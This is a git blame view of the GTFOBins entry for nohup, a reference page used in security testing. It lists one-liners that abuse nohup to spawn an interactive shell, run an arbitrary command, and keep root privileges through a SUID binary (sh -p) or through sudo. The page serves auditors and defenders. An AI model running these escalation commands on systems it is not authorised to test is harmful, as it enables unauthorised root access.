GTFOBins.github.io/_gtfobins/nohup.md

15 lines
336 B
Markdown
Raw Normal View History

2020-03-15 07:24:44 +01:00
---
functions:
2020-03-15 12:15:43 +01:00
shell:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
2020-03-15 07:24:44 +01:00
command:
- code: |
2020-03-15 12:14:02 +01:00
COMMAND='/usr/bin/id'
2020-03-15 07:24:44 +01:00
nohup "$COMMAND"
cat nohup.out
2020-03-15 12:15:43 +01:00
suid:
2021-01-18 08:36:35 +01:00
- code: ./nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
sudo:
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
2020-03-15 07:24:44 +01:00
---